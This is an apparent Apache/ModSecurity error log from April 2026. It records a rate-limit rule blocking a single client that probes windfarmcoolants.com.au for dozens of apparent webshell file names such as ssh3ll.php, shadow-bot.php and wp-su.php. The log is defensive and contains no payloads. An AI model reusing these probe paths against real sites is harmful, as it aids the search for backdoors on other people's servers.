[Thu Apr 16 07:00:40.330577 2026] [:error] [pid 49094:tid 49120] [client 20.199.125.41:40458] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/22name.php"] [unique_id "aeAYmDbDwvcXorHR_MylPgAAAVg"]
[Thu Apr 16 07:00:41.382616 2026] [:error] [pid 49094:tid 49105] [client 20.199.125.41:18860] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/22name.php"] [unique_id "aeAYmTbDwvcXorHR_MylQgAAAUk"]
[Thu Apr 16 07:00:50.285162 2026] [:error] [pid 57537:tid 57595] [client 20.199.125.41:60236] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs9.php"] [unique_id "aeAYolVQRS8nm73ENAk6yAAAAFQ"]
[Thu Apr 16 07:01:52.904409 2026] [:error] [pid 57639:tid 57650] [client 20.199.125.41:57142] File does not exist: /usr/local/apache/htdocs/suspended-page/wp1.php
[Thu Apr 16 07:01:53.279827 2026] [:error] [pid 57639:tid 57649] [client 20.199.125.41:57142] File does not exist: /usr/local/apache/htdocs/suspended-page/f2.php
[Thu Apr 16 07:01:53.545357 2026] [:error] [pid 57639:tid 57647] [client 20.199.125.41:57142] File does not exist: /usr/local/apache/htdocs/suspended-page/ftde.php
[Thu Apr 16 07:01:54.477495 2026] [:error] [pid 57639:tid 57652] [client 20.199.125.41:57142] File does not exist: /usr/local/apache/htdocs/suspended-page/shadow-bot.php
[Thu Apr 16 07:01:54.745290 2026] [:error] [pid 57639:tid 57653] [client 20.199.125.41:57142] File does not exist: /usr/local/apache/htdocs/suspended-page/ianmg.php
[Thu Apr 16 07:01:55.010488 2026] [:error] [pid 57639:tid 57665] [client 20.199.125.41:57142] File does not exist: /usr/local/apache/htdocs/suspended-page/333.php
[Thu Apr 16 07:01:55.327794 2026] [:error] [pid 57639:tid 57666] [client 20.199.125.41:57142] File does not exist: /usr/local/apache/htdocs/suspended-page/ssh3ll.php
[Thu Apr 16 07:01:55.687645 2026] [:error] [pid 57639:tid 57660] [client 20.199.125.41:57142] File does not exist: /usr/local/apache/htdocs/suspended-page/itil.php
[Thu Apr 16 07:01:56.002655 2026] [:error] [pid 57639:tid 57668] [client 20.199.125.41:57142] File does not exist: /usr/local/apache/htdocs/suspended-page/snus.php
[Thu Apr 16 07:01:56.370135 2026] [:error] [pid 57639:tid 57667] [client 20.199.125.41:57142] File does not exist: /usr/local/apache/htdocs/suspended-page/shlo.php
[Thu Apr 16 07:01:56.739161 2026] [:error] [pid 57639:tid 57662] [client 20.199.125.41:57142] File does not exist: /usr/local/apache/htdocs/suspended-page/mas80.php
[Thu Apr 16 07:01:57.036536 2026] [:error] [pid 57639:tid 57656] [client 20.199.125.41:57142] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa.php"] [unique_id "aeAY5aMCQoTw7TsxWunSjAAAAMo"]
[Thu Apr 16 07:01:58.076814 2026] [:error] [pid 57639:tid 57650] [client 20.199.125.41:51017] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa.php"] [unique_id "aeAY5qMCQoTw7TsxWunSjQAAAMQ"]
[Thu Apr 16 07:02:00.034908 2026] [:error] [pid 29603:tid 29610] [client 20.199.125.41:16338] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa.php"] [unique_id "aeAY6FfGOR6fpTWUAzrX-wAAAQU"]
[Thu Apr 16 07:02:01.106332 2026] [:error] [pid 57538:tid 57625] [client 20.199.125.41:20208] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa.php"] [unique_id "aeAY6cuMaiEF5SVR2BdCkgAAAJc"]
[Thu Apr 16 07:02:02.321032 2026] [:error] [pid 29603:tid 29623] [client 20.199.125.41:51510] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aeAY6lfGOR6fpTWUAzrX_QAAARI"]
[Thu Apr 16 07:02:03.526435 2026] [:error] [pid 49094:tid 49098] [client 20.199.125.41:27059] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aeAY6zbDwvcXorHR_MymFQAAAUI"]
[Thu Apr 16 07:02:06.838460 2026] [:error] [pid 57538:tid 57602] [client 20.199.125.41:59640] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aeAY7suMaiEF5SVR2BdCmQAAAIA"]
[Thu Apr 16 07:02:12.318683 2026] [:error] [pid 57639:tid 57661] [client 20.199.125.41:11505] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aeAY9KMCQoTw7TsxWunSkAAAAM8"]
[Thu Apr 16 07:02:14.802093 2026] [:error] [pid 57538:tid 57604] [client 20.199.125.41:13936] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-upload.php"] [unique_id "aeAY9suMaiEF5SVR2BdCrwAAAII"]
[Thu Apr 16 07:02:15.736005 2026] [:error] [pid 49094:tid 49096] [client 20.199.125.41:21911] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-upload.php"] [unique_id "aeAY9zbDwvcXorHR_MymKQAAAUA"]
[Thu Apr 16 07:02:16.666897 2026] [:error] [pid 49094:tid 49120] [client 20.199.125.41:50999] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-upload.php"] [unique_id "aeAY-DbDwvcXorHR_MymLgAAAVg"]
[Thu Apr 16 07:02:18.667815 2026] [:error] [pid 29603:tid 29623] [client 20.199.125.41:13919] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-upload.php"] [unique_id "aeAY-lfGOR6fpTWUAzrYHQAAARI"]
[Thu Apr 16 07:02:20.090861 2026] [:error] [pid 57639:tid 57655] [client 20.199.125.41:23862] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fcnlp.php"] [unique_id "aeAY_KMCQoTw7TsxWunSlgAAAMk"]
[Thu Apr 16 07:02:21.753088 2026] [:error] [pid 57538:tid 57619] [client 20.199.125.41:10955] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fcnlp.php"] [unique_id "aeAY_cuMaiEF5SVR2BdCwgAAAJE"]
[Thu Apr 16 07:02:22.915476 2026] [:error] [pid 57538:tid 57602] [client 20.199.125.41:12781] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fcnlp.php"] [unique_id "aeAY_suMaiEF5SVR2BdCygAAAIA"]
[Thu Apr 16 07:02:27.352389 2026] [:error] [pid 49094:tid 49097] [client 20.199.125.41:51002] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fcnlp.php"] [unique_id "aeAZAzbDwvcXorHR_MymVAAAAUE"]
[Thu Apr 16 07:02:28.567507 2026] [:error] [pid 49094:tid 49105] [client 20.199.125.41:13915] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxc.php"] [unique_id "aeAZBDbDwvcXorHR_MymWAAAAUk"]
[Thu Apr 16 07:02:31.143982 2026] [:error] [pid 57538:tid 57612] [client 20.199.125.41:42064] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxc.php"] [unique_id "aeAZB8uMaiEF5SVR2BdC7gAAAIo"]
[Thu Apr 16 07:02:33.211213 2026] [:error] [pid 49094:tid 49115] [client 20.199.125.41:60808] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxc.php"] [unique_id "aeAZCTbDwvcXorHR_MymZQAAAVM"]
[Thu Apr 16 07:02:34.146325 2026] [:error] [pid 57639:tid 57648] [client 20.199.125.41:42052] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxc.php"] [unique_id "aeAZCqMCQoTw7TsxWunSpQAAAMI"]
[Thu Apr 16 07:02:35.714894 2026] [:error] [pid 57537:tid 57599] [client 20.199.125.41:9688] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-su.php"] [unique_id "aeAZC1VQRS8nm73ENAk68AAAAFg"]
[Thu Apr 16 07:02:41.133936 2026] [:error] [pid 57639:tid 57664] [client 20.199.125.41:27769] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-su.php"] [unique_id "aeAZEaMCQoTw7TsxWunSrAAAANI"]
[Thu Apr 16 07:02:42.528299 2026] [:error] [pid 57639:tid 57652] [client 20.199.125.41:40566] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-su.php"] [unique_id "aeAZEqMCQoTw7TsxWunSrwAAAMY"]
[Thu Apr 16 07:02:44.814671 2026] [:error] [pid 57639:tid 57669] [client 20.199.125.41:29966] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-su.php"] [unique_id "aeAZFKMCQoTw7TsxWunStwAAANc"]
[Thu Apr 16 07:02:49.292983 2026] [:error] [pid 29603:tid 29622] [client 20.199.125.41:44535] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ZSLeDE.php"] [unique_id "aeAZGVfGOR6fpTWUAzrYSAAAARE"]
[Thu Apr 16 07:02:50.744691 2026] [:error] [pid 29603:tid 29607] [client 20.199.125.41:60163] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ZSLeDE.php"] [unique_id "aeAZGlfGOR6fpTWUAzrYTgAAAQI"]
[Thu Apr 16 07:02:51.866771 2026] [:error] [pid 57639:tid 57665] [client 20.199.125.41:60222] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ZSLeDE.php"] [unique_id "aeAZG6MCQoTw7TsxWunS4AAAANM"]
[Thu Apr 16 07:02:53.542998 2026] [:error] [pid 29603:tid 29619] [client 20.199.125.41:29988] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ZSLeDE.php"] [unique_id "aeAZHVfGOR6fpTWUAzrYUgAAAQ4"]
[Thu Apr 16 07:02:55.107071 2026] [:error] [pid 49094:tid 49100] [client 20.199.125.41:27738] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aeAZHzbDwvcXorHR_Mym5gAAAUQ"]
[Thu Apr 16 07:02:55.949512 2026] [:error] [pid 57538:tid 57604] [client 20.199.125.41:52233] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aeAZH8uMaiEF5SVR2BdDDQAAAII"]
[Thu Apr 16 07:02:57.551874 2026] [:error] [pid 57537:tid 57578] [client 20.199.125.41:44511] File does not exist: /usr/local/apache/htdocs/suspended-page/sadcut1.php
[Thu Apr 16 07:02:57.863793 2026] [:error] [pid 57537:tid 57597] [client 20.199.125.41:44511] File does not exist: /usr/local/apache/htdocs/suspended-page/bngv.php
[Thu Apr 16 07:02:58.103579 2026] [:error] [pid 57537:tid 57579] [client 20.199.125.41:44511] File does not exist: /usr/local/apache/htdocs/suspended-page/admin-filters.php
[Thu Apr 16 07:02:58.402051 2026] [:error] [pid 57537:tid 57588] [client 20.199.125.41:44511] File does not exist: /usr/local/apache/htdocs/suspended-page/xy.php
[Thu Apr 16 07:02:58.898544 2026] [:error] [pid 57537:tid 57596] [client 20.199.125.41:44511] File does not exist: /usr/local/apache/htdocs/suspended-page/gm.php
[Thu Apr 16 07:02:59.349328 2026] [:error] [pid 57537:tid 57589] [client 20.199.125.41:44511] File does not exist: /usr/local/apache/htdocs/suspended-page/kiwkiw.php
[Thu Apr 16 07:02:59.675815 2026] [:error] [pid 57537:tid 57577] [client 20.199.125.41:44511] File does not exist: /usr/local/apache/htdocs/suspended-page/bhm.php
[Thu Apr 16 07:02:59.975912 2026] [:error] [pid 57537:tid 57590] [client 20.199.125.41:44511] File does not exist: /usr/local/apache/htdocs/suspended-page/ahutr.php
[Thu Apr 16 07:03:00.218366 2026] [:error] [pid 57537:tid 57595] [client 20.199.125.41:44511] File does not exist: /usr/local/apache/htdocs/suspended-page/lupo.php
[Thu Apr 16 07:03:00.517184 2026] [:error] [pid 57537:tid 57582] [client 20.199.125.41:44511] File does not exist: /usr/local/apache/htdocs/suspended-page/bdktk.php
[Thu Apr 16 07:03:00.835188 2026] [:error] [pid 57537:tid 57586] [client 20.199.125.41:44511] File does not exist: /usr/local/apache/htdocs/suspended-page/amwxl.php
[Thu Apr 16 07:03:01.144781 2026] [:error] [pid 57537:tid 57575] [client 20.199.125.41:44511] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "aeAZJVVQRS8nm73ENAk7KQAAAEA"]
[Thu Apr 16 07:03:01.852633 2026] [:error] [pid 57538:tid 57603] [client 20.199.125.41:39194] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "aeAZJcuMaiEF5SVR2BdDFQAAAIE"]
[Thu Apr 16 07:03:05.174044 2026] [:error] [pid 57639:tid 57669] [client 20.199.125.41:10713] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "aeAZKaMCQoTw7TsxWunTBAAAANc"]
[Thu Apr 16 07:03:05.985395 2026] [:error] [pid 57536:tid 57548] [client 20.199.125.41:55431] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "aeAZKSQU4faGja6jpDuHVwAAAAA"]
[Thu Apr 16 07:03:06.803063 2026] [:error] [pid 57538:tid 57619] [client 20.199.125.41:35217] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aeAZKsuMaiEF5SVR2BdDKgAAAJE"]
[Thu Apr 16 07:03:08.939401 2026] [:error] [pid 57536:tid 57571] [client 20.199.125.41:39224] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aeAZLCQU4faGja6jpDuHXwAAABc"]
[Thu Apr 16 07:03:10.046896 2026] [:error] [pid 29603:tid 29607] [client 20.199.125.41:39185] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aeAZLlfGOR6fpTWUAzrYegAAAQI"]
[Thu Apr 16 07:03:11.746293 2026] [:error] [pid 57639:tid 57668] [client 20.199.125.41:37879] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aeAZL6MCQoTw7TsxWunTJQAAANY"]
[Thu Apr 16 07:03:14.425497 2026] [:error] [pid 57639:tid 57650] [client 20.199.125.41:3163] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rujgeote.php"] [unique_id "aeAZMqMCQoTw7TsxWunTLAAAAMQ"]
[Thu Apr 16 07:03:15.801197 2026] [:error] [pid 29603:tid 29615] [client 20.199.125.41:22641] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rujgeote.php"] [unique_id "aeAZM1fGOR6fpTWUAzrYjgAAAQo"]
[Thu Apr 16 07:03:17.215798 2026] [:error] [pid 57538:tid 57605] [client 20.199.125.41:52285] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rujgeote.php"] [unique_id "aeAZNcuMaiEF5SVR2BdDNQAAAIM"]
[Thu Apr 16 07:03:18.373104 2026] [:error] [pid 57538:tid 57603] [client 20.199.125.41:39230] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rujgeote.php"] [unique_id "aeAZNsuMaiEF5SVR2BdDOAAAAIE"]
[Thu Apr 16 07:03:19.029926 2026] [:error] [pid 57538:tid 57609] [client 20.199.125.41:23929] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css/shlo.php"] [unique_id "aeAZN8uMaiEF5SVR2BdDOgAAAIc"]
[Thu Apr 16 07:03:24.226868 2026] [:error] [pid 57537:tid 57583] [client 20.199.125.41:43152] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css/shlo.php"] [unique_id "aeAZPFVQRS8nm73ENAk7QAAAAEg"]
[Thu Apr 16 07:03:27.750162 2026] [:error] [pid 57538:tid 57617] [client 20.199.125.41:10185] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css/shlo.php"] [unique_id "aeAZP8uMaiEF5SVR2BdDXQAAAI8"]
